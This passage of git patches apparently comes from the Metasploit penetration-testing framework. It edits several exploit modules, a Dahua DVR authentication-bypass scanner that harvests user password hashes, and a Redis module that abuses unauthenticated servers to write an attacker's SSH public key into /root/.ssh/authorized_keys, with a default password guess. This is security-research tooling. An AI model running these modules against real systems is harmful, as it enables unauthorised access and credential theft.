execute_cmdstager(:linemax => 200, :nodelete => true) end diff --git a/modules/exploits/linux/http/multi_ncc_ping_exec.rb b/modules/exploits/linux/http/multi_ncc_ping_exec.rb index ebe48adcb0..67a93ba046 100644 --- a/modules/exploits/linux/http/multi_ncc_ping_exec.rb +++ b/modules/exploits/linux/http/multi_ncc_ping_exec.rb @@ -123,10 +123,6 @@ class Metasploit3 < Msf::Exploit::Remote @payload_url = '' @dropped_elf = rand_text_alpha(rand(5) + 3) - if @pl.blank? - fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload") - end - if datastore['EXTURL'].blank? begin Timeout.timeout(datastore['HTTPDELAY']) { super } diff --git a/modules/exploits/linux/local/desktop_privilege_escalation.rb b/modules/exploits/linux/local/desktop_privilege_escalation.rb index 356a82aa50..f325ba29ea 100644 --- a/modules/exploits/linux/local/desktop_privilege_escalation.rb +++ b/modules/exploits/linux/local/desktop_privilege_escalation.rb @@ -83,9 +83,6 @@ class Metasploit4 < Msf::Exploit::Local # Cannot use generic/shell_reverse_tcp inside an elf # Checking before proceeds pl = generate_payload_exe - if pl.blank? - fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload") - end exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf" diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index 5a214fe259..aedfed2fd1 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -138,13 +138,8 @@ class Metasploit3 < Msf::Exploit::Remote # NOTE: The EXE mixin automagically handles detection of arch/platform data = generate_payload_exe - if data - print_status("Generated executable to drop (#{data.length} bytes)." ) - data = Rex::Text.to_hex( data, prefix="" ) - else - print_error("Failed to generate the executable." ) - return - end + print_status("Generated executable to drop (#{data.length} bytes)." ) + data = Rex::Text.to_hex( data, prefix="" ) end diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb index f265de507b..fce4771cb8 100644 --- a/modules/exploits/multi/browser/java_calendar_deserialize.rb +++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb @@ -133,13 +133,8 @@ class Metasploit3 < Msf::Exploit::Remote # NOTE: The EXE mixin automagically handles detection of arch/platform data = generate_payload_exe - if data - print_status( "Generated executable to drop (#{data.length} bytes)." ) - data = Rex::Text.to_hex( data, prefix="" ) - else - print_error( "Failed to generate the executable." ) - return - end + print_status( "Generated executable to drop (#{data.length} bytes)." ) + data = Rex::Text.to_hex( data, prefix="" ) end diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb index 69ec049d09..dbe08a3035 100644 --- a/modules/exploits/multi/browser/java_verifier_field_access.rb +++ b/modules/exploits/multi/browser/java_verifier_field_access.rb @@ -137,13 +137,8 @@ class Metasploit3 < Msf::Exploit::Remote # NOTE: The EXE mixin automagically handles detection of arch/platform data = generate_payload_exe - if data - print_status("Generated executable to drop (#{data.length} bytes)." ) - data = Rex::Text.to_hex( data, prefix="" ) - else - print_error("Failed to generate the executable." ) - return - end + print_status("Generated executable to drop (#{data.length} bytes)." ) + data = Rex::Text.to_hex( data, prefix="" ) end diff --git a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb index 65f3844fb8..171b689dbb 100644 --- a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb +++ b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb @@ -99,12 +99,6 @@ class Metasploit4 < Msf::Exploit::Remote end def exploit - # Cannot use generic/shell_reverse_tcp inside an elf - # Checking before proceeds - if generate_payload_exe.blank? - fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload") - end - execute_cmdstager(linemax: 500) handler end diff --git a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb index dd6f99e68a..d5bd15e7ba 100644 --- a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb +++ b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb @@ -99,12 +99,6 @@ class Metasploit4 < Msf::Exploit::Remote end def exploit - # Cannot use generic/shell_reverse_tcp inside an elf - # Checking before proceeds - if generate_payload_exe.blank? - fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") - end - execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true) # A last chance after the cmdstager diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index b6d7680f76..bf8bbb31b9 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -120,9 +120,7 @@ class Metasploit3 < Msf::Exploit::Remote #Set up generic values. payload_exe = rand_text_alphanumeric(4 + rand(4)) pl_exe = generate_payload_exe - if pl_exe.nil? - fail_with(Failure::BadConfig, "#{peer} - Failed to generate an EXE payload, please select a correct payload") - end + append = false #Now arch specific... case target['Platform'] diff --git a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb index c1e9a4f40a..4fdbb98670 100644 --- a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb +++ b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb @@ -129,16 +129,6 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("Sent command #{cmd}") end - # - # generate_payload_exe doesn't respect module's platform unless it's Windows, or the user - # manually sets one. This method is a temp work-around. - # - def check_generate_payload_exe - if generate_payload_exe.nil? - fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF. Please manually set a payload.") - end - end - def exploit # Handle single command shot @@ -154,8 +144,6 @@ class Metasploit3 < Msf::Exploit::Remote return end - check_generate_payload_exe - # Handle payload upload using CmdStager mixin execute_cmdstager({:flavor => :printf}) end diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 30c6b3677a..ab1fd8008e 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -203,10 +203,13 @@ class Metasploit3 < Msf::Exploit::Remote end exe = '' opts = { :servicename => servicename } - exe = generate_payload_exe_service(opts) + begin + exe = generate_payload_exe_service(opts) - fd << exe - fd.close + fd << exe + ensure + fd.close + end if subfolder print_status("Created \\#{fileprefix}\\#{filename}...") diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 25d5394945..869aa183ff 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -140,18 +140,21 @@ class Metasploit3 < Msf::Exploit::Remote fd = rclient.open("\\#{filename}", 'rwct') - exe = '' - opts = { - :servicename => servicename, - :code => code.encoded - } - if (datastore['PAYLOAD'].include? 'x64') - opts.merge!({ :arch => ARCH_X64 }) - end - exe = generate_payload_exe_service(opts) + begin + exe = '' + opts = { + :servicename => servicename, + :code => code.encoded + } + if (datastore['PAYLOAD'].include? 'x64') + opts.merge!({ :arch => ARCH_X64 }) + end + exe = generate_payload_exe_service(opts) - fd << exe - fd.close + fd << exe + ensure + fd.close if fd + end print_status("Created \\#{filename}...") From 9e526637051f8944777d714d127de07171e23359 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 8 Dec 2015 21:24:39 -0600 Subject: [PATCH 1471/2172] Doc Fix #6330 --- lib/msf/core/exploit/exe.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 87f8bc912e..832bbb93f8 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -47,6 +47,15 @@ module Exploit::EXE exe end + + # Returns an executable. + # + # @param opts [Hash] + # @option opts [String] :code Payload + # @option opts [Array] :arch Architecture + # @option opts [Msf::Module::PlatformList] :platform + # @raise [Msf::NoCompatiblePayloadError] When #genereate_payload_exe fails to generate a payload. + # @return [String] def generate_payload_exe(opts = {}) return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty? return get_eicar_exe if datastore['EXE::EICAR'] From 07ef09e0b6d2b18d6f2fae19b0329864e89d7114 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 8 Dec 2015 21:40:30 -0600 Subject: [PATCH 1472/2172] Avoid Msf::Module::Platform We don't know how to generate an exe payload if the platform is Msf::Module::Platform, so don't use it. --- lib/msf/core/exploit/exe.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 832bbb93f8..225a886a73 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -181,12 +181,12 @@ protected # Architecture shares the same load order. unless opts[:platform] - if self.respond_to? :payload_instance + if self.respond_to?(:payload_instance) && payload_instance.platform.platforms != [Msf::Module::Platform] opts[:platform] = payload_instance.platform elsif self.respond_to? :target_platform opts[:platform] = target_platform elsif self.respond_to? :platform - opts[:platform] = platform + opts[:platform] = platform end end @@ -194,6 +194,7 @@ protected if self.respond_to? :payload_instance opts[:arch] = payload_instance.arch elsif self.respond_to? :target_arch + $stderr.puts "target specific arch" opts[:arch] = target_arch elsif self.respond_to? :arch opts[:arch] = arch From c2ef7be217620dfa1b24889b7a35ea944b555b74 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Wed, 9 Dec 2015 17:49:38 -0500 Subject: [PATCH 1473/2172] cleaned up regex isseus and added the appropriate rex tables. Having issues with printing them due to type errors, but Im working on it --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 41 ++++++++++--------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 00560611b9..92783e3c1d 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -10,7 +10,8 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Jake Reynolds - Depth Security', # Vulnerability Discoverer 'Tyler Bennett - Talos Infosec', # Metasploit Module - 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module + 'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module + 'Nathan McBride' # regex extraordinaire ], 'References' => [ [ 'CVE', '2013-6117' ], @@ -192,18 +193,10 @@ class Metasploit3 < Msf::Auxiliary return unless data.length > 1 print_good("#{peer} -- camera channels:") data.each_with_index do |val, index| - # puts val, index + 1 - # next if index > 1 - number = "#{index}" - channels = "#{val[/([[:print:]]+)/]}" - # number = "#{val[0]}" - # channels = "#{val[1]}" - print_status(" #{number}") - print_status(" #{channels}") - channels_table << ["#{number}".to_i, "#{channels}".to_i] + number = index.to_s + channels = val[/([[:print:]]+)/].to_s + channels_table << [ number, channels ] channels_table.print - # print_status(" #{val[/([[:print:]]+)/]}") - # print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") end end @@ -214,19 +207,17 @@ class Metasploit3 < Msf::Auxiliary data = response.split('&&') usercount = 0 users_table = Rex::Ui::Text::Table.new( - 'Header' => 'Dahua Users Hashes and groups', + 'Header' => 'Dahua Users Hashes and Rights', 'Indent' => '1', 'Columns' => ['Username', 'Password Hash', 'Permissions', 'Description'] ) print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") data.each do |val| usercount += 1 - pass = "#{val[/(([\d]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i]}" - # print_status("Perms: #{val[/(([0-9][0-9]*, )*[0-9][0-9]*)/]}") - value = pass.split(":") - user = "#{value[1]}" - md5hash = "#{value[2]}" - print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") + user, md5hash, rights, name = val.match(/^.*:(.*):(.*):.*:(.*):(.*):.*$/).captures + users_table << [user, md5hash, rights, name] + users_table.print + # print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") # Write the dahua hash to the database hash = "#{rhost} #{user}:$dahua$#{md5hash}" report_hash(rhost, rport, user, hash) @@ -248,8 +239,18 @@ class Metasploit3 < Msf::Auxiliary sock.put(GROUPS) return unless (response = sock.get_once) data = response.split('&&') + groups_table = Rex::Ui::Text::Table.new( + 'Header' => 'Dahua groups', + 'Indent' => '1', + 'Columns' => ['Number', 'Group'] + ) print_good("#{peer} -- groups:") - data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } + data.each { |val| + number = val[/(([\d]+))/].to_i + groups = val[/(([a-z]+))/].to_i + groups_table << [ number, groups ] + groups_table.print + } end def reset_user From 624e5aeffa4fa43c1e32362746be5debeef1c64f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 9 Dec 2015 17:59:48 -0800 Subject: [PATCH 1474/2172] First pass at converting redis module to aux; style cleanup --- .../scanner/redis/unauth_upload_file.rb} | 90 +++++++++++-------- 1 file changed, 51 insertions(+), 39 deletions(-) rename modules/{exploits/linux/misc/redis_unauth_upload_file.rb => auxiliary/scanner/redis/unauth_upload_file.rb} (58%) diff --git a/modules/exploits/linux/misc/redis_unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb similarity index 58% rename from modules/exploits/linux/misc/redis_unauth_upload_file.rb rename to modules/auxiliary/scanner/redis/unauth_upload_file.rb index e40b13d678..ebe88b658d 100644 --- a/modules/exploits/linux/misc/redis_unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -5,43 +5,47 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking - +class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Redis Unauthenticated File Upload', - 'Description' => %q( - This module can save data to file in remote redis server, - Because redis is unprotected without a password set up. - ), - 'License' => MSF_LICENSE, - 'Author' => ['Nixawk'], - 'References' => [ - ['URL', 'http://antirez.com/news/96'], - ['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], - ['URL', 'http://redis.io/topics/protocol'] - ], - 'Platform' => %w(unix linux), - 'Targets' => [['Automatic Target', { }]], - 'Privileged' => true, - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 11 2015' - )) + super( + update_info( + info, + 'Name' => 'Redis Unauthenticated File Upload', + 'Description' => %q( + This module can save data to file in remote redis server, + Because redis is unprotected without a password set up. + ), + 'License' => MSF_LICENSE, + 'Author' => ['Nixawk'], + 'References' => [ + ['URL', 'http://antirez.com/news/96'], + ['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], + ['URL', 'http://redis.io/topics/protocol'] + ], + 'Platform' => %w(unix linux), + 'Targets' => [['Automatic Target', {}]], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 11 2015' + ) + ) register_options( [ - Opt::RHOST(), Opt::RPORT(6379), - OptPath.new('LocalFile', [true, 'Local file to be uploaded', '/root/.ssh/id_rsa.pub']), - OptString.new('RemoteFile', [true, 'Remote file path', '/root/.ssh/authorized_keys']) - ], self.class) + OptPath.new('LocalFile', [true, 'Local file to be uploaded']), + OptString.new('RemoteFile', [true, 'Remote file path']) + ] + ) register_advanced_options( [ OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) - ], self.class) + ] + ) end def read_timeout @@ -107,20 +111,28 @@ class Metasploit3 < Msf::Exploit::Remote end end - def exploit - begin - connect - res = send_command(['PING']) + def peer + "#{rhost}:#{rport}" + end - if res && res =~ /PONG/ - content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n" - send_file(datastore['RemoteFile'], content) - end + def setup + @upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" + end - rescue ::Exception => e - print_error("Unable to connect: #{e}") - ensure - disconnect + def run_host(ip) + connect + unless (res = send_command(['PING'])) + vprint_error("#{peer} -- did not respond to our redis PING") + return end + + if res =~ /PONG/ + vprint_good("#{peer} -- responded positively to our PONG") + send_file(datastore['RemoteFile'], @upload_content) + else + vprint_good("#{peer} -- responded unknown to our PONG: #{res}") + end + ensure + disconnect end end From 4cc7853ad8dc3f322dd17fda3f44bce2f07936fe Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 9 Dec 2015 18:33:40 -0800 Subject: [PATCH 1475/2172] Don't run_host unless check returns vulnerable; report_service --- .../scanner/redis/unauth_upload_file.rb | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index ebe88b658d..4744151e68 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -104,13 +104,24 @@ class Metasploit3 < Msf::Auxiliary connect data = send_command(['INFO']) disconnect - if data && data.include?('redis_mode') + if data && /redis_version:(?<redis_version>\S+)/ =~ data + report_redis(redis_version) Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end + def report_redis(version) + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'redis', + info: "version #{version}" + ) + end + def peer "#{rhost}:#{rport}" end @@ -119,7 +130,9 @@ class Metasploit3 < Msf::Auxiliary @upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" end - def run_host(ip) + def run_host(_ip) + return unless check == Exploit::CheckCode::Vulnerable + connect unless (res = send_command(['PING'])) vprint_error("#{peer} -- did not respond to our redis PING") From 28bc5b4d4f2ea374ce2a6f6ec0f6d971cc1212d5 Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Thu, 10 Dec 2015 08:23:38 +0000 Subject: [PATCH 1476/2172] move it from exploit to auxiliary --- .../scanner/redis/unauth_file_upload.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/{exploits/linux/misc/redis_unauth_upload_file.rb => auxiliary/scanner/redis/unauth_file_upload.rb} (100%) diff --git a/modules/exploits/linux/misc/redis_unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_file_upload.rb similarity index 100% rename from modules/exploits/linux/misc/redis_unauth_upload_file.rb rename to modules/auxiliary/scanner/redis/unauth_file_upload.rb From 42013c18ba643aaea7f84c92fc88714565822e8a Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Thu, 10 Dec 2015 08:24:47 +0000 Subject: [PATCH 1477/2172] add a password option - AUTH_KEY --- .../scanner/redis/unauth_file_upload.rb | 86 ++++++++++++------- 1 file changed, 56 insertions(+), 30 deletions(-) diff --git a/modules/auxiliary/scanner/redis/unauth_file_upload.rb b/modules/auxiliary/scanner/redis/unauth_file_upload.rb index e40b13d678..53195399c0 100644 --- a/modules/auxiliary/scanner/redis/unauth_file_upload.rb +++ b/modules/auxiliary/scanner/redis/unauth_file_upload.rb @@ -5,10 +5,11 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking +class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, @@ -23,19 +24,14 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'http://antirez.com/news/96'], ['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], ['URL', 'http://redis.io/topics/protocol'] - ], - 'Platform' => %w(unix linux), - 'Targets' => [['Automatic Target', { }]], - 'Privileged' => true, - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 11 2015' + ] )) register_options( [ - Opt::RHOST(), Opt::RPORT(6379), OptPath.new('LocalFile', [true, 'Local file to be uploaded', '/root/.ssh/id_rsa.pub']), - OptString.new('RemoteFile', [true, 'Remote file path', '/root/.ssh/authorized_keys']) + OptString.new('RemoteFile', [true, 'Remote file path', '/root/.ssh/authorized_keys']), + OptString.new('AUTH_KEY', [false, 'Password for redis authentication', 'foobared']) ], self.class) register_advanced_options( @@ -48,6 +44,10 @@ class Metasploit3 < Msf::Exploit::Remote datastore['READ_TIMEOUT'] end + def peer + "#{rhost}:#{rport}" + end + def redis_proto(parts) return if parts.blank? command = "*#{parts.length}\r\n" @@ -63,62 +63,88 @@ class Metasploit3 < Msf::Exploit::Remote sock.get_once(-1, read_timeout) end + def auth?(password) + report_service( + host: rhost, + port: rport, + name: 'redis', + proto: 'tcp' + ) + + command = ['AUTH', "#{password}"] + data = send_command(command) + vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") + if data && data.include?('+OK') + true + else + false + end + end + def send_file(path, content) + report_service( + host: rhost, + port: rport, + name: 'redis', + proto: 'tcp' + ) + dirname = File.dirname(path) basename = File.basename(path) key = Rex::Text.rand_text_alpha(32) command = ['CONFIG', 'SET', 'DIR', "#{dirname}"] data = send_command(command) - vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") return unless data.include?('+OK') command = ['CONFIG', 'SET', 'dbfilename', "#{basename}"] data = send_command(command) - vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") return unless data.include?('+OK') command = ['SET', "#{key}", "#{content}"] data = send_command(command) - - vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") return unless data.include?('+OK') print_good("#{rhost}:#{rport}: save file to #{path}") + report_note( + type: 'redis_unauth_file_upload', + host: rhost, + port: rport, + proto: 'tcp', + data: "Save it to #{path} on remote server successfully", + ) command = ['SAVE'] data = send_command(command) - vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") return unless data.include?('+OK') command = ['DEL', "#{key}"] data = send_command(command) - vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}") + vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") return unless data.include?('+OK') end - def check - connect - data = send_command(['INFO']) - disconnect - if data && data.include?('redis_mode') - Exploit::CheckCode::Vulnerable - else - Exploit::CheckCode::Safe - end - end - - def exploit + def run_host(ip) begin connect res = send_command(['PING']) + print_status("#{peer} - No Response") unless res - if res && res =~ /PONG/ + if res =~ /PONG/ content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n" send_file(datastore['RemoteFile'], content) + elsif res =~ /NOAUTH Authentication required/ + if auth?(datastore['AUTH_KEY']) + content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n" + send_file(datastore['RemoteFile'], content) + end end rescue ::Exception => e - print_error("Unable to connect: #{e}") + print_error("#{e}") ensure disconnect end From 0d8fc782572e9f13c6eeb648d84497158cba9bba Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Thu, 10 Dec 2015 15:13:50 +0000 Subject: [PATCH 1478/2172] make code more clear --- .../scanner/redis/unauth_file_upload.rb | 106 +++++++----------- 1 file changed, 42 insertions(+), 64 deletions(-) diff --git a/modules/auxiliary/scanner/redis/unauth_file_upload.rb b/modules/auxiliary/scanner/redis/unauth_file_upload.rb index 53195399c0..91287c56fe 100644 --- a/modules/auxiliary/scanner/redis/unauth_file_upload.rb +++ b/modules/auxiliary/scanner/redis/unauth_file_upload.rb @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'http://antirez.com/news/96'], ['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], ['URL', 'http://redis.io/topics/protocol'] - ] - )) + ])) register_options( [ Opt::RPORT(6379), @@ -40,14 +39,14 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def read_timeout - datastore['READ_TIMEOUT'] - end - def peer "#{rhost}:#{rport}" end + def read_timeout + datastore['READ_TIMEOUT'] + end + def redis_proto(parts) return if parts.blank? command = "*#{parts.length}\r\n" @@ -57,23 +56,8 @@ class Metasploit3 < Msf::Auxiliary command end - def send_command(command) - command = redis_proto(command) - sock.put(command) - sock.get_once(-1, read_timeout) - end - - def auth?(password) - report_service( - host: rhost, - port: rport, - name: 'redis', - proto: 'tcp' - ) - - command = ['AUTH', "#{password}"] - data = send_command(command) - vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") + def redis_auth?(password) + data = send_command(['AUTH', "#{password}"]) if data && data.include?('+OK') true else @@ -81,66 +65,60 @@ class Metasploit3 < Msf::Auxiliary end end + def send_command(command) + sock.put("#{redis_proto(command)}") + data = sock.get_once(-1, read_timeout) + vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump}") + data + end + def send_file(path, content) - report_service( - host: rhost, - port: rport, - name: 'redis', - proto: 'tcp' - ) - - dirname = File.dirname(path) - basename = File.basename(path) - key = Rex::Text.rand_text_alpha(32) - command = ['CONFIG', 'SET', 'DIR', "#{dirname}"] - data = send_command(command) - vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") - return unless data.include?('+OK') + commands = [ + ['CONFIG', 'SET', 'DIR', "#{File.dirname(path)}"], + ['CONFIG', 'SET', 'dbfilename', "#{File.basename(path)}"], + ['SET', "#{key}", "#{content}"], + ['SAVE'], + ['DEL', "#{key}"] + ] - command = ['CONFIG', 'SET', 'dbfilename', "#{basename}"] - data = send_command(command) - vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") - return unless data.include?('+OK') + results = [] + commands.each do |command| + results << send_command(command) + end - command = ['SET', "#{key}", "#{content}"] - data = send_command(command) - vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") - return unless data.include?('+OK') - print_good("#{rhost}:#{rport}: save file to #{path}") + return unless results[3] && results[3].include?('+OK') + print_good("#{peer} - write data to redis server #{path}") report_note( type: 'redis_unauth_file_upload', host: rhost, port: rport, proto: 'tcp', - data: "Save it to #{path} on remote server successfully", + data: "write data to redis server #{path}" ) - - command = ['SAVE'] - data = send_command(command) - vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") - return unless data.include?('+OK') - - command = ['DEL', "#{key}"] - data = send_command(command) - vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}") - return unless data.include?('+OK') end def run_host(ip) begin connect res = send_command(['PING']) - print_status("#{peer} - No Response") unless res + unless res + print_status("#{peer} - No response") + return + end - if res =~ /PONG/ + case res + when /PONG/ + print_status("#{peer} - No authentication protection") content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n" send_file(datastore['RemoteFile'], content) - elsif res =~ /NOAUTH Authentication required/ - if auth?(datastore['AUTH_KEY']) - content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n" - send_file(datastore['RemoteFile'], content) - end + when /NOAUTH Authentication required/ + print_status("#{peer} - Trying to auth redis server") + return unless redis_auth?(datastore['AUTH_KEY']) + content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n" + send_file(datastore['RemoteFile'], content) + else + print_status("#{peer} - #{res}") end rescue ::Exception => e From a5c6e260f206eff933f3730af48291bf39945015 Mon Sep 17 00:00:00 2001 From: karllll <karl.schuttler@gmail.com> Date: Thu, 10 Dec 2015 10:56:39 -0500 Subject: [PATCH 1479/2172] Update hp_vsa_login_bof.rb Updated reference URL to latest location --- modules/exploits/linux/misc/hp_vsa_login_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index f79e544ae1..6798e4ff53 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2013-2343'], ['OSVDB', '94701'], ['ZDI', '13-179'], - ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03661318'] + ['URL', 'http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c03661318'] ], 'Payload' => { From 21ab4e96e56b574270a1adee38c0e49988db0d8c Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Thu, 10 Dec 2015 08:29:59 -0800 Subject: [PATCH 1480/2172] First pass at redis mixin --- lib/msf/core/auxiliary/mixins.rb | 1 + lib/msf/core/auxiliary/redis.rb | 70 +++++++++++++++ .../scanner/redis/unauth_upload_file.rb | 89 +++++-------------- 3 files changed, 91 insertions(+), 69 deletions(-) create mode 100644 lib/msf/core/auxiliary/redis.rb diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 2fb5934729..46372750ea 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb 